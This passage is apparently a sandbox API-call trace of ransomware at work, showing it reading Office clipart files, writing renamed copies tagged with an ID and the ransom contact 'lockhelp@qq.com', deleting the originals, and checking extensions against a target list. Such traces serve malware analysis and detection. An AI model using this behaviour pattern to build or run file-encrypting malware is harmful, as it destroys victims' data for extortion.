1 [0315.961] CloseHandle (hObject=0x448) returned 1 [0315.961] SetFilePointerEx (in: hFile=0x498, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0315.961] SetEndOfFile (hFile=0x498) returned 1 [0315.963] CloseHandle (hObject=0x498) returned 1 [0315.963] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0315.964] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099180.wmf")) returned 1 [0315.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF") returned 68 [0315.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF") returned 68 [0315.964] lstrlenW (lpString=".doc") returned 4 [0315.964] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0315.964] lstrlenW (lpString=".docx") returned 5 [0315.964] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0315.964] lstrlenW (lpString=".pdf") returned 4 [0315.964] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0315.964] lstrlenW (lpString=".xls") returned 4 [0315.964] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0315.964] lstrlenW (lpString=".xlsx") returned 5 [0315.964] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0315.964] lstrlenW (lpString=".ppt") returned 4 [0315.964] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0315.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF") returned 68 [0315.964] lstrlenW (lpString=".zip") returned 4 [0315.965] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0315.965] lstrlenW (lpString=".rar") returned 4 [0315.965] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0315.965] lstrlenW (lpString=".bz2") returned 4 [0315.965] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0315.965] lstrlenW (lpString=".7z") returned 3 [0315.965] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0315.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF") returned 68 [0315.965] lstrlenW (lpString=".dbf") returned 4 [0315.965] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0315.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF") returned 68 [0315.965] lstrlenW (lpString=".1cd") returned 4 [0315.965] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0315.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF") returned 68 [0315.965] lstrlenW (lpString=".jpg") returned 4 [0315.965] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0315.965] GetFileSizeEx (in: hFile=0x498, lpFileSize=0x34fff14 | out: lpFileSize=0x34fff14*=3840) returned 1 [0315.965] CloseHandle (hObject=0x498) returned 1 [0315.965] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099182.wmf")) returned 0x220 [0315.965] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099182.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0315.966] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099182.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x498 [0315.966] SetFilePointerEx (in: hFile=0x498, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0315.966] SetFilePointerEx (in: hFile=0x498, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0315.966] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099182.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x448 [0315.967] GetLastError () returned 0x0 [0315.967] ReadFile (in: hFile=0x498, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0xf00, lpOverlapped=0x0) returned 1 [0315.970] WriteFile (in: hFile=0x448, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0xf10, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0xf10, lpOverlapped=0x0) returned 1 [0315.971] ReadFile (in: hFile=0x498, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0x0, lpOverlapped=0x0) returned 1 [0315.971] WriteFile (in: hFile=0x448, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0xec, lpOverlapped=0x0) returned 1 [0315.971] SetEndOfFile (hFile=0x448) returned 1 [0315.971] CloseHandle (hObject=0x448) returned 1 [0315.971] SetFilePointerEx (in: hFile=0x498, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0315.971] SetEndOfFile (hFile=0x498) returned 1 [0315.974] CloseHandle (hObject=0x498) returned 1 [0315.974] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0315.974] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099182.wmf")) returned 1 [0315.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF") returned 68 [0315.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF") returned 68 [0315.975] lstrlenW (lpString=".doc") returned 4 [0315.975] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0315.975] lstrlenW (lpString=".docx") returned 5 [0315.975] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0315.975] lstrlenW (lpString=".pdf") returned 4 [0315.975] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0315.975] lstrlenW (lpString=".xls") returned 4 [0315.975] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0315.975] lstrlenW (lpString=".xlsx") returned 5 [0315.975] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0315.975] lstrlenW (lpString=".ppt") returned 4 [0315.975] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0315.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF") returned 68 [0315.975] lstrlenW (lpString=".zip") returned 4 [0315.975] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0315.975] lstrlenW (lpString=".rar") returned 4 [0315.975] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0315.975] lstrlenW (lpString=".bz2") returned 4 [0315.975] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0315.975] lstrlenW (lpString=".7z") returned 3 [0315.975] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0315.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF") returned 68 [0315.975] lstrlenW (lpString=".dbf") returned 4 [0315.975] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0315.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF") returned 68 [0315.976] lstrlenW (lpString=".1cd") returned 4 [0315.976] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0315.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099182.WMF") returned 68 [0315.976] lstrlenW (lpString=".jpg") returned 4 [0315.976] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0315.976] GetFileSizeEx (in: hFile=0x498, lpFileSize=0x34fff14 | out: lpFileSize=0x34fff14*=4946) returned 1 [0315.976] CloseHandle (hObject=0x498) returned 1 [0315.976] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099183.wmf")) returned 0x220 [0315.976] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099183.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0315.976] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099183.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x498 [0315.977] SetFilePointerEx (in: hFile=0x498, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0315.977] SetFilePointerEx (in: hFile=0x498, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0315.977] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099183.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x448 [0315.977] GetLastError () returned 0x0 [0315.977] ReadFile (in: hFile=0x498, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0x1352, lpOverlapped=0x0) returned 1 [0316.031] WriteFile (in: hFile=0x448, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0x1360, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0x1360, lpOverlapped=0x0) returned 1 [0316.031] ReadFile (in: hFile=0x498, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0x0, lpOverlapped=0x0) returned 1 [0316.032] WriteFile (in: hFile=0x448, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0xec, lpOverlapped=0x0) returned 1 [0316.032] SetEndOfFile (hFile=0x448) returned 1 [0316.032] CloseHandle (hObject=0x448) returned 1 [0316.032] SetFilePointerEx (in: hFile=0x498, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0316.032] SetEndOfFile (hFile=0x498) returned 1 [0316.034] CloseHandle (hObject=0x498) returned 1 [0316.034] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0316.035] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099183.wmf")) returned 1 [0316.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF") returned 68 [0316.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF") returned 68 [0316.035] lstrlenW (lpString=".doc") returned 4 [0316.035] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0316.035] lstrlenW (lpString=".docx") returned 5 [0316.035] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0316.035] lstrlenW (lpString=".pdf") returned 4 [0316.035] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0316.035] lstrlenW (lpString=".xls") returned 4 [0316.035] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0316.035] lstrlenW (lpString=".xlsx") returned 5 [0316.035] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0316.036] lstrlenW (lpString=".ppt") returned 4 [0316.036] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0316.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF") returned 68 [0316.036] lstrlenW (lpString=".zip") returned 4 [0316.036] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0316.036] lstrlenW (lpString=".rar") returned 4 [0316.036] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0316.036] lstrlenW (lpString=".bz2") returned 4 [0316.036] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0316.036] lstrlenW (lpString=".7z") returned 3 [0316.036] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0316.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF") returned 68 [0316.036] lstrlenW (lpString=".dbf") returned 4 [0316.036] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0316.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF") returned 68 [0316.036] lstrlenW (lpString=".1cd") returned 4 [0316.036] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0316.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099183.WMF") returned 68 [0316.036] lstrlenW (lpString=".jpg") returned 4 [0316.036] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0316.065] GetFileSizeEx (in: hFile=0x4f8, lpFileSize=0x34fff14 | out: lpFileSize=0x34fff14*=3282) returned 1 [0316.065] CloseHandle (hObject=0x4f8) returned 1 [0316.065] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099185.jpg")) returned 0x220 [0316.139] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099185.jpg.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0316.139] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099185.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0316.140] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0316.140] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0316.140] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099185.jpg.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0316.140] GetLastError () returned 0x0 [0316.140] ReadFile (in: hFile=0x4c4, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0xcd2, lpOverlapped=0x0) returned 1 [0316.223] WriteFile (in: hFile=0x528, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0xce0, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0xce0, lpOverlapped=0x0) returned 1 [0316.224] ReadFile (in: hFile=0x4c4, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0x0, lpOverlapped=0x0) returned 1 [0316.224] WriteFile (in: hFile=0x528, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0xec, lpOverlapped=0x0) returned 1 [0316.224] SetEndOfFile (hFile=0x528) returned 1 [0316.224] CloseHandle (hObject=0x528) returned 1 [0316.224] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0316.224] SetEndOfFile (hFile=0x4c4) returned 1 [0316.226] CloseHandle (hObject=0x4c4) returned 1 [0316.226] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0316.226] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099185.jpg")) returned 1 [0316.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG") returned 68 [0316.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG") returned 68 [0316.227] lstrlenW (lpString=".doc") returned 4 [0316.227] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0316.227] lstrlenW (lpString=".docx") returned 5 [0316.227] lstrcmpiW (lpString1=".docx", lpString2="5.JPG") returned -1 [0316.227] lstrlenW (lpString=".pdf") returned 4 [0316.227] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0316.227] lstrlenW (lpString=".xls") returned 4 [0316.227] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0316.227] lstrlenW (lpString=".xlsx") returned 5 [0316.227] lstrcmpiW (lpString1=".xlsx", lpString2="5.JPG") returned -1 [0316.227] lstrlenW (lpString=".ppt") returned 4 [0316.227] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0316.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG") returned 68 [0316.227] lstrlenW (lpString=".zip") returned 4 [0316.227] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0316.228] lstrlenW (lpString=".rar") returned 4 [0316.228] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0316.228] lstrlenW (lpString=".bz2") returned 4 [0316.228] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0316.228] lstrlenW (lpString=".7z") returned 3 [0316.228] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0316.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG") returned 68 [0316.228] lstrlenW (lpString=".dbf") returned 4 [0316.228] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0316.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG") returned 68 [0316.228] lstrlenW (lpString=".1cd") returned 4 [0316.228] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0316.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG") returned 68 [0316.228] lstrlenW (lpString=".jpg") returned 4 [0316.228] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0316.228] GetFileSizeEx (in: hFile=0x4c4, lpFileSize=0x34fff14 | out: lpFileSize=0x34fff14*=17964) returned 1 [0316.228] CloseHandle (hObject=0x4c4) returned 1 [0316.228] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099192.gif")) returned 0x220 [0316.228] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099192.gif.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0316.229] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099192.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0316.229] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0316.229] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0316.229] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099192.gif.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0316.230] GetLastError () returned 0x0 [0316.230] ReadFile (in: hFile=0x4c4, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0x462c, lpOverlapped=0x0) returned 1 [0316.404] WriteFile (in: hFile=0x528, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0x4630, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0x4630, lpOverlapped=0x0) returned 1 [0316.405] ReadFile (in: hFile=0x4c4, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0x0, lpOverlapped=0x0) returned 1 [0316.405] WriteFile (in: hFile=0x528, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0xec, lpOverlapped=0x0) returned 1 [0316.405] SetEndOfFile (hFile=0x528) returned 1 [0316.405] CloseHandle (hObject=0x528) returned 1 [0316.405] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0316.405] SetEndOfFile (hFile=0x4c4) returned 1 [0316.421] CloseHandle (hObject=0x4c4) returned 1 [0316.422] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0316.422] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099192.gif")) returned 1 [0316.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF") returned 68 [0316.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF") returned 68 [0316.424] lstrlenW (lpString=".doc") returned 4 [0316.424] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0316.424] lstrlenW (lpString=".docx") returned 5 [0316.424] lstrcmpiW (lpString1=".docx", lpString2="2.GIF") returned -1 [0316.424] lstrlenW (lpString=".pdf") returned 4 [0316.424] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0316.424] lstrlenW (lpString=".xls") returned 4 [0316.424] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0316.424] lstrlenW (lpString=".xlsx") returned 5 [0316.424] lstrcmpiW (lpString1=".xlsx", lpString2="2.GIF") returned -1 [0316.424] lstrlenW (lpString=".ppt") returned 4 [0316.424] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0316.425] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF") returned 68 [0316.425] lstrlenW (lpString=".zip") returned 4 [0316.425] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0316.425] lstrlenW (lpString=".rar") returned 4 [0316.425] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0316.425] lstrlenW (lpString=".bz2") returned 4 [0316.425] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0316.425] lstrlenW (lpString=".7z") returned 3 [0316.425] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0316.425] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF") returned 68 [0316.425] lstrlenW (lpString=".dbf") returned 4 [0316.425] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0316.425] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF") returned 68 [0316.425] lstrlenW (lpString=".1cd") returned 4 [0316.425] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0316.425] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF") returned 68 [0316.425] lstrlenW (lpString=".jpg") returned 4 [0316.425] 